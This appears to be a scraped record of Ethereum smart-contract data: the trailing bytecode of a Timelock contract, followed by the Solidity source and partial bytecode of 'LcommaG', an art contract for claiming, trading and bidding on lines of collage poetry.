0fd5b506102b3610c34565b604080516001600160a01b039092168252519081900360200190f35b3480156102db57600080fd5b5061041c600480360360a08110156102f257600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561032157600080fd5b82018360208201111561033357600080fd5b803590602001918460018302840111600160201b8311171561035457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156103a657600080fd5b8201836020820111156103b857600080fd5b803590602001918460018302840111600160201b831117156103d957600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610c43915050565b60408051918252519081900360200190f35b34801561043a57600080fd5b5061029c6004803603602081101561045157600080fd5b50356001600160a01b0316610f54565b34801561046d57600080fd5b5061029c600480360360a081101561048457600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b8111156104b357600080fd5b8201836020820111156104c557600080fd5b803590602001918460018302840111600160201b831117156104e657600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561053857600080fd5b82018360208201111561054a57600080fd5b803590602001918460018302840111600160201b8311171561056b57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610fe2915050565b3480156105ba57600080fd5b5061041c611298565b3480156105cf57600080fd5b5061041c61129e565b3480156105e457600080fd5b5061041c6112a5565b3480156105f957600080fd5b5061041c6112ab565b34801561060e57600080fd5b5061029c6004803603602081101561062557600080fd5b50356112b2565b34801561063857600080fd5b506106566004803603602081101561064f57600080fd5b50356113a6565b604080519115158252519081900360200190f35b34801561067657600080fd5b506102b36113bb565b6000546060906001600160a01b031633146106cb5760405162461bcd60e51b81526004018080602001828103825260388152602001806114306038913960400191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561073a578181015183820152602001610722565b50505050905090810190601f1680156107675780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561079a578181015183820152602001610782565b50505050905090810190601f1680156107c75780820380516001836020036101000a031916815260200191505b5060408051601f1981840301815291815281516020928301206000818152600390935291205490995060ff16975061083896505050505050505760405162461bcd60e51b815260040180806020018281038252603d815260200180611583603d913960400191505060405180910390fd5b826108416113ca565b101561087e5760405162461bcd60e51b81526004018080602001828103825260458152602001806114d26045913960600191505060405180910390fd5b610891836212750063ffffffff6113ce16565b6108996113ca565b11156108d65760405162461bcd60e51b815260040180806020018281038252603381526020018061149f6033913960400191505060405180910390fd5b6000818152600360205260409020805460ff1916905584516060906108fc575083610989565b85805190602001208560405160200180836001600160e01b0319166001600160e01b031916815260040182805190602001908083835b602083106109515780518252601f199092019160209182019101610932565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b60006060896001600160a01b031689846040518082805190602001908083835b602083106109c85780518252601f1990920191602091820191016109a9565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610a2a576040519150601f19603f3d011682016040523d82523d6000602084013e610a2f565b606091505b509150915081610a705760405162461bcd60e51b815260040180806020018281038252603d815260200180611666603d913960400191505060405180910390fd5b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610aed578181015183820152602001610ad5565b50505050905090810190601f168015610b1a5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610b4d578181015183820152602001610b35565b50505050905090810190601f168015610b7a5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b6001546001600160a01b03163314610be15760405162461bcd60e51b81526004018080602001828103825260388152602001806115c06038913960400191505060405180910390fd5b60008054336001600160a01b031991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b600080546001600160a01b03163314610c8d5760405162461bcd60e51b81526004018080602001828103825260368152602001806116306036913960400191505060405180910390fd5b610ca7600254610c9b6113ca565b9063ffffffff6113ce16565b821015610ce55760405162461bcd60e51b81526004018080602001828103825260498152602001806116a36049913960600191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610d54578181015183820152602001610d3c565b50505050905090810190601f168015610d815780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610db4578181015183820152602001610d9c565b50505050905090810190601f168015610de15780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550866001600160a01b0316817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610eac578181015183820152602001610e94565b50505050905090810190601f168015610ed95780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610f0c578181015183820152602001610ef4565b50505050905090810190601f168015610f395780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b333014610f925760405162461bcd60e51b81526004018080602001828103825260388152602001806115f86038913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6000546001600160a01b0316331461102b5760405162461bcd60e51b81526004018080602001828103825260378152602001806114686037913960400191505060405180910390fd5b6000858585858560405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561109a578181015183820152602001611082565b50505050905090810190601f1680156110c75780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156110fa5781810151838201526020016110e2565b50505050905090810190601f1680156111275780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550856001600160a01b0316817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156111f25781810151838201526020016111da565b50505050905090810190601f16801561121f5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561125257818101518382015260200161123a565b50505050905090810190601f16801561127f5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b62278d0081565b61025881565b6212750081565b3330146112f05760405162461bcd60e51b81526004018080602001828103825260318152602001806116ec6031913960400191505060405180910390fd5b6102588110156113315760405162461bcd60e51b81526004018080602001828103825260348152602001806115176034913960400191505060405180910390fd5b62278d008111156113735760405162461bcd60e51b815260040180806020018281038252603881526020018061154b6038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60036020526000908152604090205460ff1681565b6000546001600160a01b031681565b4290565b600082820183811015611428576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea26469706673582212208944c0294ea071f6d0d701b4ea0deee4c29cf16a1242749986336c811ddae6b064736f6c63430006080033
{"success": true, "error": null, "results": {}}
7,150
0x06F8C56F98704F77f5Ba79F0Dc9976bcBeD507d1
// The elements of the array listTINAmotley can be claimed, // transferred, bought, and sold on the ethereum network. // Users can also add to the original array. // The elements in listTINAmotley below are recited in a video // by Greg Smith. Both the video and this program will be part of // exhibitions at the John Michael Kohler Art Center in // Sheboygan, WI, and at Susan Inglett Gallery in New York, NY. // This program is based on CryptoPunks, by Larva Labs. // List elements in listTINAmotley contain text snippets from // Margaret Thatcher, Donna Haraway (A Cyborg Manfesto), Francois // Rabelias (Gargantua and Pantagruel), Walt Whitman (Germs), and // Miguel de Cervantes (Don Quixote). // A list element associated with _index can be claimed if // gift_CanBeClaimed(_index) returns true. For inquiries // about receiving lines owned by info_ownerOfContract for free, // email <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="0844617b7c5c41464965677c646d71486f65696164266b676526">[email&#160;protected]</a> // In general, the functions that begin with "gift_" are used for // claiming, transferring, and creating script lines without cost beyond // the transaction fee. For example, to claim an available list element // associated with _index, execute the gift_ClaimTINAmotleyLine(_index) // function. // The functions that begin with "info_" are used to obtain information // about aspects of the program state, including the address that owns // a list element, and the "for sale" or "bid" status of a list element. // The functions that begin with "market_" are used for buying, selling, and // placing bids on a list element. For example, to bid on the list element // associated with _index, send the bid (in wei, not ether) along with // the function execution of market_DeclareBid(_index). // Note that if there&#39;s a transaction involving ether (successful sale, // accepted bid, etc..), the ether (don&#39;t forget: in units of wei) is not // automatically credited to an account; it has to be withdrawn by // calling market_WithdrawWei(). // Source code and code used to test the contract are available at // https://github.com/ListTINAmotley/LcommaG // EVERYTHING IS IN UNITS OF WEI, NOT ETHER! // Contract is deployed at on the // mainnet. pragma solidity ^0.4.24; contract LcommaG { string public info_Name; string public info_Symbol; address public info_OwnerOfContract; // Contains the list string[] private listTINAmotley; // Contains the total number of elements in the list uint256 private listTINAmotleyTotalSupply; mapping (uint => address) private listTINAmotleyIndexToAddress; mapping(address => uint256) private listTINAmotleyBalanceOf; // Put list element up for sale by owner. Can be linked to specific // potential buyer struct forSaleInfo { bool isForSale; uint256 tokenIndex; address seller; uint256 minValue; //in wei.... everything in wei address onlySellTo; // specify to sell only to a specific person } // Place bid for specific list element struct bidInfo { bool hasBid; uint256 tokenIndex; address bidder; uint256 value; } // Public info about tokens for sale. mapping (uint256 => forSaleInfo) public info_ForSaleInfoByIndex; // Public info about highest bid for each token. mapping (uint256 => bidInfo) public info_BidInfoByIndex; // Information about withdrawals (in units of wei) available // ... for addresses due to failed bids, successful sales, etc... mapping (address => uint256) public info_PendingWithdrawals; //Events event Claim(uint256 tokenId, address indexed to); event Transfer(uint256 tokenId, address indexed from, address indexed to); event ForSaleDeclared(uint256 indexed tokenId, address indexed from, uint256 minValue,address indexed to); event ForSaleWithdrawn(uint256 indexed tokenId, address indexed from); event ForSaleBought(uint256 indexed tokenId, uint256 value, address indexed from, address indexed to); event BidDeclared(uint256 indexed tokenId, uint256 value, address indexed from); event BidWithdrawn(uint256 indexed tokenId, uint256 value, address indexed from); event BidAccepted(uint256 indexed tokenId, uint256 value, address indexed from, address indexed to); constructor () public { info_OwnerOfContract = msg.sender; info_Name = "LcommaG"; info_Symbol = "L, G"; listTINAmotley.push("Now that, that there, that&#39;s for everyone"); listTINAmotleyIndexToAddress[0] = address(0); listTINAmotley.push("Everyone&#39;s invited"); listTINAmotleyIndexToAddress[1] = address(0); listTINAmotley.push("Just bring your lists"); listTINAmotleyIndexToAddress[2] = address(0); listTINAmotley.push("The for godsakes of surveillance"); listTINAmotleyIndexToAddress[3] = address(0); listTINAmotley.push("The shitabranna of there is no alternative"); listTINAmotleyIndexToAddress[4] = address(0); listTINAmotley.push("The clew-bottom of trustless memorials"); listTINAmotleyIndexToAddress[5] = address(0); listTINAmotley.push("The churning ballock of sadness"); listTINAmotleyIndexToAddress[6] = address(0); listTINAmotley.push("The bagpiped bravado of TINA"); listTINAmotleyIndexToAddress[7] = address(0); listTINAmotley.push("There T"); listTINAmotleyIndexToAddress[8] = address(0); listTINAmotley.push("Is I"); listTINAmotleyIndexToAddress[9] = address(0); listTINAmotley.push("No N"); listTINAmotleyIndexToAddress[10] = address(0); listTINAmotley.push("Alternative A"); listTINAmotleyIndexToAddress[11] = address(0); listTINAmotley.push("TINA TINA TINA"); listTINAmotleyIndexToAddress[12] = address(0); listTINAmotley.push("Motley"); listTINAmotleyIndexToAddress[13] = info_OwnerOfContract; listTINAmotley.push("There is no alternative"); listTINAmotleyIndexToAddress[14] = info_OwnerOfContract; listTINAmotley.push("Machines made of sunshine"); listTINAmotleyIndexToAddress[15] = info_OwnerOfContract; listTINAmotley.push("Infidel heteroglossia"); listTINAmotleyIndexToAddress[16] = info_OwnerOfContract; listTINAmotley.push("TINA and the cyborg, Margaret and motley"); listTINAmotleyIndexToAddress[17] = info_OwnerOfContract; listTINAmotley.push("Motley fecundity, be fruitful and multiply"); listTINAmotleyIndexToAddress[18] = info_OwnerOfContract; listTINAmotley.push("Perverts! Mothers! Leninists!"); listTINAmotleyIndexToAddress[19] = info_OwnerOfContract; listTINAmotley.push("Space!"); listTINAmotleyIndexToAddress[20] = info_OwnerOfContract; listTINAmotley.push("Over the exosphere"); listTINAmotleyIndexToAddress[21] = info_OwnerOfContract; listTINAmotley.push("On top of the stratosphere"); listTINAmotleyIndexToAddress[22] = info_OwnerOfContract; listTINAmotley.push("On top of the troposphere"); listTINAmotleyIndexToAddress[23] = info_OwnerOfContract; listTINAmotley.push("Over the chandelier"); listTINAmotleyIndexToAddress[24] = info_OwnerOfContract; listTINAmotley.push("On top of the lithosphere"); listTINAmotleyIndexToAddress[25] = info_OwnerOfContract; listTINAmotley.push("Over the crust"); listTINAmotleyIndexToAddress[26] = info_OwnerOfContract; listTINAmotley.push("You&#39;re the top"); listTINAmotleyIndexToAddress[27] = info_OwnerOfContract; listTINAmotley.push("You&#39;re the top"); listTINAmotleyIndexToAddress[28] = info_OwnerOfContract; listTINAmotley.push("Be fruitful!"); listTINAmotleyIndexToAddress[29] = info_OwnerOfContract; listTINAmotley.push("Fill the atmosphere, the heavens, the ether"); listTINAmotleyIndexToAddress[30] = info_OwnerOfContract; listTINAmotley.push("Glory! Glory. TINA TINA Glory."); listTINAmotleyIndexToAddress[31] = info_OwnerOfContract; listTINAmotley.push("Over the stratosphere"); listTINAmotleyIndexToAddress[32] = info_OwnerOfContract; listTINAmotley.push("Over the mesosphere"); listTINAmotleyIndexToAddress[33] = info_OwnerOfContract; listTINAmotley.push("Over the troposphere"); listTINAmotleyIndexToAddress[34] = info_OwnerOfContract; listTINAmotley.push("On top of bags of space"); listTINAmotleyIndexToAddress[35] = info_OwnerOfContract; listTINAmotley.push("Over backbones and bags of ether"); listTINAmotleyIndexToAddress[36] = info_OwnerOfContract; listTINAmotley.push("Now TINA, TINA has a backbone"); listTINAmotleyIndexToAddress[37] = info_OwnerOfContract; listTINAmotley.push("And motley confetti lists"); listTINAmotleyIndexToAddress[38] = info_OwnerOfContract; listTINAmotley.push("Confetti arms, confetti feet, confetti mouths, confetti faces"); listTINAmotleyIndexToAddress[39] = info_OwnerOfContract; listTINAmotley.push("Confetti assholes"); listTINAmotleyIndexToAddress[40] = info_OwnerOfContract; listTINAmotley.push("Confetti cunts and confetti cocks"); listTINAmotleyIndexToAddress[41] = info_OwnerOfContract; listTINAmotley.push("Confetti offspring, splendid suns"); listTINAmotleyIndexToAddress[42] = info_OwnerOfContract; listTINAmotley.push("The moon and rings, the countless combinations and effects"); listTINAmotleyIndexToAddress[43] = info_OwnerOfContract; listTINAmotley.push("Such-like, and good as such-like"); listTINAmotleyIndexToAddress[44] = info_OwnerOfContract; listTINAmotley.push("(Mumbled)"); listTINAmotleyIndexToAddress[45] = info_OwnerOfContract; listTINAmotley.push("Everything&#39;s for sale"); listTINAmotleyIndexToAddress[46] = info_OwnerOfContract; listTINAmotley.push("Just bring your lists"); listTINAmotleyIndexToAddress[47] = info_OwnerOfContract; listTINAmotley.push("Micro resurrections"); listTINAmotleyIndexToAddress[48] = info_OwnerOfContract; listTINAmotley.push("Paddle steamers"); listTINAmotleyIndexToAddress[49] = info_OwnerOfContract; listTINAmotley.push("Windmills"); listTINAmotleyIndexToAddress[50] = info_OwnerOfContract; listTINAmotley.push("Anti-anti-utopias"); listTINAmotleyIndexToAddress[51] = info_OwnerOfContract; listTINAmotley.push("Rocinante lists"); listTINAmotleyIndexToAddress[52] = info_OwnerOfContract; listTINAmotley.push("In memoriam lists"); listTINAmotleyIndexToAddress[53] = info_OwnerOfContract; listTINAmotley.push("TINA TINA TINA"); listTINAmotleyIndexToAddress[54] = info_OwnerOfContract; listTINAmotleyBalanceOf[info_OwnerOfContract] = 42; listTINAmotleyBalanceOf[address(0)] = 13; listTINAmotleyTotalSupply = 55; } function info_TotalSupply() public view returns (uint256 total){ total = listTINAmotleyTotalSupply; return total; } //Number of list elements owned by an account. function info_BalanceOf(address _owner) public view returns (uint256 balance){ balance = listTINAmotleyBalanceOf[_owner]; return balance; } //Shows text of a list element. function info_SeeTINAmotleyLine(uint256 _tokenId) external view returns(string){ require(_tokenId < listTINAmotleyTotalSupply); return listTINAmotley[_tokenId]; } function info_OwnerTINAmotleyLine(uint256 _tokenId) external view returns (address owner){ require(_tokenId < listTINAmotleyTotalSupply); owner = listTINAmotleyIndexToAddress[_tokenId]; return owner; } // Is the line available to be claimed? function info_CanBeClaimed(uint256 _tokenId) external view returns(bool){ require(_tokenId < listTINAmotleyTotalSupply); if (listTINAmotleyIndexToAddress[_tokenId] == address(0)) return true; else return false; } // Claim line owned by address(0). function gift_ClaimTINAmotleyLine(uint256 _tokenId) external returns(bool){ require(_tokenId < listTINAmotleyTotalSupply); require(listTINAmotleyIndexToAddress[_tokenId] == address(0)); listTINAmotleyIndexToAddress[_tokenId] = msg.sender; listTINAmotleyBalanceOf[msg.sender]++; listTINAmotleyBalanceOf[address(0)]--; emit Claim(_tokenId, msg.sender); return true; } // Create new list element. function gift_CreateTINAmotleyLine(string _text) external returns(bool){ require (msg.sender != address(0)); uint256 oldTotalSupply = listTINAmotleyTotalSupply; listTINAmotleyTotalSupply++; require (listTINAmotleyTotalSupply > oldTotalSupply); listTINAmotley.push(_text); uint256 _tokenId = listTINAmotleyTotalSupply - 1; listTINAmotleyIndexToAddress[_tokenId] = msg.sender; listTINAmotleyBalanceOf[msg.sender]++; return true; } // Transfer by owner to address. Transferring to address(0) will // make line available to be claimed. function gift_Transfer(address _to, uint256 _tokenId) public returns(bool) { address initialOwner = listTINAmotleyIndexToAddress[_tokenId]; require (initialOwner == msg.sender); require (_tokenId < listTINAmotleyTotalSupply); // Remove for sale. market_WithdrawForSale(_tokenId); rawTransfer (initialOwner, _to, _tokenId); // Remove new owner&#39;s bid, if it exists. clearNewOwnerBid(_to, _tokenId); return true; } // Let anyone interested know that the owner put a token up for sale. // Anyone can obtain it by sending an amount of wei equal to or // larger than _minPriceInWei. function market_DeclareForSale(uint256 _tokenId, uint256 _minPriceInWei) external returns (bool){ require (_tokenId < listTINAmotleyTotalSupply); address tokenOwner = listTINAmotleyIndexToAddress[_tokenId]; require (msg.sender == tokenOwner); info_ForSaleInfoByIndex[_tokenId] = forSaleInfo(true, _tokenId, msg.sender, _minPriceInWei, address(0)); emit ForSaleDeclared(_tokenId, msg.sender, _minPriceInWei, address(0)); return true; } // Let anyone interested know that the owner put a token up for sale. // Only the address _to can obtain it by sending an amount of wei equal // to or larger than _minPriceInWei. function market_DeclareForSaleToAddress(uint256 _tokenId, uint256 _minPriceInWei, address _to) external returns(bool){ require (_tokenId < listTINAmotleyTotalSupply); address tokenOwner = listTINAmotleyIndexToAddress[_tokenId]; require (msg.sender == tokenOwner); info_ForSaleInfoByIndex[_tokenId] = forSaleInfo(true, _tokenId, msg.sender, _minPriceInWei, _to); emit ForSaleDeclared(_tokenId, msg.sender, _minPriceInWei, _to); return true; } // Owner no longer wants token for sale, or token has changed owner, // so previously posted for sale is no longer valid. function market_WithdrawForSale(uint256 _tokenId) public returns(bool){ require (_tokenId < listTINAmotleyTotalSupply); require (msg.sender == listTINAmotleyIndexToAddress[_tokenId]); info_ForSaleInfoByIndex[_tokenId] = forSaleInfo(false, _tokenId, address(0), 0, address(0)); emit ForSaleWithdrawn(_tokenId, msg.sender); return true; } // I&#39;ll take it. Must send at least as many wei as minValue in // forSale structure. function market_BuyForSale(uint256 _tokenId) payable external returns(bool){ require (_tokenId < listTINAmotleyTotalSupply); forSaleInfo storage existingForSale = info_ForSaleInfoByIndex[_tokenId]; require(existingForSale.isForSale); require(existingForSale.onlySellTo == address(0) || existingForSale.onlySellTo == msg.sender); require(msg.value >= existingForSale.minValue); require(existingForSale.seller == listTINAmotleyIndexToAddress[_tokenId]); address seller = listTINAmotleyIndexToAddress[_tokenId]; rawTransfer(seller, msg.sender, _tokenId); // must withdrawal for sale after transfer to make sure msg.sender // is the current owner. market_WithdrawForSale(_tokenId); // clear bid of new owner, if it exists clearNewOwnerBid(msg.sender, _tokenId); info_PendingWithdrawals[seller] += msg.value; emit ForSaleBought(_tokenId, msg.value, seller, msg.sender); return true; } // Let anyone interested know that potential buyer put up money for a token. function market_DeclareBid(uint256 _tokenId) payable external returns(bool){ require (_tokenId < listTINAmotleyTotalSupply); require (listTINAmotleyIndexToAddress[_tokenId] != address(0)); require (listTINAmotleyIndexToAddress[_tokenId] != msg.sender); require (msg.value > 0); bidInfo storage existingBid = info_BidInfoByIndex[_tokenId]; // Keep only the highest bid. require (msg.value > existingBid.value); if (existingBid.value > 0){ info_PendingWithdrawals[existingBid.bidder] += existingBid.value; } info_BidInfoByIndex[_tokenId] = bidInfo(true, _tokenId, msg.sender, msg.value); emit BidDeclared(_tokenId, msg.value, msg.sender); return true; } // Potential buyer changes mind and withdrawals bid. function market_WithdrawBid(uint256 _tokenId) external returns(bool){ require (_tokenId < listTINAmotleyTotalSupply); require (listTINAmotleyIndexToAddress[_tokenId] != address(0)); require (listTINAmotleyIndexToAddress[_tokenId] != msg.sender); bidInfo storage existingBid = info_BidInfoByIndex[_tokenId]; require (existingBid.hasBid); require (existingBid.bidder == msg.sender); uint256 amount = existingBid.value; // Refund info_PendingWithdrawals[existingBid.bidder] += amount; info_BidInfoByIndex[_tokenId] = bidInfo(false, _tokenId, address(0), 0); emit BidWithdrawn(_tokenId, amount, msg.sender); return true; } // Accept bid, and transfer money and token. All money in wei. function market_AcceptBid(uint256 _tokenId, uint256 minPrice) external returns(bool){ require (_tokenId < listTINAmotleyTotalSupply); address seller = listTINAmotleyIndexToAddress[_tokenId]; require (seller == msg.sender); bidInfo storage existingBid = info_BidInfoByIndex[_tokenId]; require (existingBid.hasBid); //Bid must be larger than minPrice require (existingBid.value > minPrice); address buyer = existingBid.bidder; // Remove for sale. market_WithdrawForSale(_tokenId); rawTransfer (seller, buyer, _tokenId); uint256 amount = existingBid.value; // Remove bid. info_BidInfoByIndex[_tokenId] = bidInfo(false, _tokenId, address(0),0); info_PendingWithdrawals[seller] += amount; emit BidAccepted(_tokenId, amount, seller, buyer); return true; } // Retrieve money to successful sale, failed bid, withdrawn bid, etc. // All in wei. Note that refunds, income, etc. are NOT automatically // deposited in the user&#39;s address. The user must withdraw the funds. function market_WithdrawWei() external returns(bool) { uint256 amount = info_PendingWithdrawals[msg.sender]; require (amount > 0); info_PendingWithdrawals[msg.sender] = 0; msg.sender.transfer(amount); return true; } function clearNewOwnerBid(address _to, uint256 _tokenId) internal { // clear bid when become owner via transfer or forSaleBuy bidInfo storage existingBid = info_BidInfoByIndex[_tokenId]; if (existingBid.bidder == _to){ uint256 amount = existingBid.value; info_PendingWithdrawals[_to] += amount; info_BidInfoByIndex[_tokenId] = bidInfo(false, _tokenId, address(0), 0); emit BidWithdrawn(_tokenId, amount, _to); } } function rawTransfer(address _from, address _to, uint256 _tokenId) internal { listTINAmotleyBalanceOf[_from]--; listTINAmotleyBalanceOf[_to]++; listTINAmotleyIndexToAddress[_tokenId] = _to; emit Transfer(_tokenId, _from, _to); } }
0x6080604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302fd9dd8811461012c578063152c04d91461016757806319b0297d146101af5780631e0a0f60146101e25780634f284594146101fa578063534607fb1461020f57806356b83dc51461024057806371cf5979146102ca57806374f78412146102e55780637b151be0146102f05780639bdbb4c714610305578063a2eb0d011461031d578063a384af001461033d578063a59dbfb714610348578063a6134e981461036c578063acd9277f1461038d578063dfcc525d146103a8578063e0b28190146103c0578063fafe090214610411578063fb1f41f914610429578063fbfb7e7014610441578063ffeeac8214610459575b600080fd5b34801561013857600080fd5b50610153600435602435600160a060020a036044351661046e565b604080519115158252519081900360200190f35b34801561017357600080fd5b5061017f6004356105de565b6040805194151585526020850193909352600160a060020a03909116838301526060830152519081900360800190f35b3480156101bb57600080fd5b506101d0600160a060020a0360043516610615565b60408051918252519081900360200190f35b3480156101ee57600080fd5b50610153600435610634565b34801561020657600080fd5b506101d0610673565b34801561021b57600080fd5b5061022461067a565b60408051600160a060020a039092168252519081900360200190f35b34801561024c57600080fd5b50610255610689565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561028f578181015183820152602001610277565b50505050905090810190601f1680156102bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102d657600080fd5b50610153600435602435610716565b610153600435610877565b3480156102fc57600080fd5b506101536109e7565b34801561031157600080fd5b50610153600435610a48565b34801561032957600080fd5b506101536004803560248101910135610bb0565b610153600435610c60565b34801561035457600080fd5b50610153600160a060020a0360043516602435610d9f565b34801561037857600080fd5b506101d0600160a060020a0360043516610dfa565b34801561039957600080fd5b50610153600435602435610e0c565b3480156103b457600080fd5b50610255600435610f13565b3480156103cc57600080fd5b506103d8600435610fcc565b6040805195151586526020860194909452600160a060020a03928316858501526060850191909152166080830152519081900360a00190f35b34801561041d57600080fd5b5061015360043561100a565b34801561043557600080fd5b506102246004356110d8565b34801561044d57600080fd5b50610153600435611105565b34801561046557600080fd5b506102556111f6565b6000806004548510151561048157600080fd5b50600084815260056020526040902054600160a060020a03163381146104a657600080fd5b60a06040519081016040528060011515815260200186815260200133600160a060020a0316815260200185815260200184600160a060020a03168152506007600087815260200190815260200160002060008201518160000160006101000a81548160ff0219169083151502179055506020820151816001015560408201518160020160006101000a815481600160a060020a030219169083600160a060020a031602179055506060820151816003015560808201518160040160006101000a815481600160a060020a030219169083600160a060020a0316021790555090505082600160a060020a031633600160a060020a0316867f4398c010beff9b163da97c65f5b6d3e306326cc93c3b0bc94ef6ccf596c768e2876040518082815260200191505060405180910390a4506001949350505050565b600860205260009081526040902080546001820154600283015460039093015460ff909216929091600160a060020a039091169084565b600160a060020a0381166000908152600660205260409020545b919050565b600454600090821061064557600080fd5b600082815260056020526040902054600160a060020a0316151561066b5750600161062f565b50600061062f565b6004545b90565b600254600160a060020a031681565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561070e5780601f106106e35761010080835404028352916020019161070e565b820191906000526020600020905b8154815290600101906020018083116106f157829003601f168201915b505050505081565b60008060008060006004548710151561072e57600080fd5b600087815260056020526040902054600160a060020a0316935033841461075457600080fd5b6000878152600860205260409020805490935060ff16151561077557600080fd5b6003830154861061078557600080fd5b6002830154600160a060020a0316915061079e87611105565b506107aa848389611251565b5060038281015460408051608081018252600080825260208083018c8152838501838152606085018481528e8552600884528685209551865460ff19169015151786559151600186015551600285018054600160a060020a031916600160a060020a0392831617905590519390960192909255878516808252600983529083902080548501905582518481529251939486169390928b927ff16c5ed39dc31d5eab2c86ade83769cf987d78b585032fa15c9ca45e7f5fe64e92918290030190a45060019695505050505050565b6000806004548310151561088a57600080fd5b600083815260056020526040902054600160a060020a031615156108ad57600080fd5b600083815260056020526040902054600160a060020a03163314156108d157600080fd5b600034116108de57600080fd5b506000828152600860205260409020600381015434116108fd57600080fd5b6000816003015411156109335760038101546002820154600160a060020a03166000908152600960205260409020805490910190555b604080516080810182526001808252602080830187815233848601818152346060870181815260008c8152600887528990209751885460ff191690151517885593519587019590955551600286018054600160a060020a031916600160a060020a03909216919091179055905160039094019390935583519182529251919286927f4a9b4872e4e2494b7b966f38d3fef79aa57561eab9830d979b4d124b2a90d7579281900390910190a350600192915050565b33600090815260096020526040812054818111610a0357600080fd5b336000818152600960205260408082208290555183156108fc0291849190818181858888f19350505050158015610a3e573d6000803e3d6000fd5b50600191505b5090565b600080600060045484101515610a5d57600080fd5b600084815260056020526040902054600160a060020a03161515610a8057600080fd5b600084815260056020526040902054600160a060020a0316331415610aa457600080fd5b6000848152600860205260409020805490925060ff161515610ac557600080fd5b6002820154600160a060020a03163314610ade57600080fd5b50600381810154600280840154600160a060020a03908116600090815260096020908152604080832080548701905580516080810182528381528083018b8152818301858152606083018681528d875260088652958490209251835460ff191690151517835590516001830155519581018054600160a060020a0319169690951695909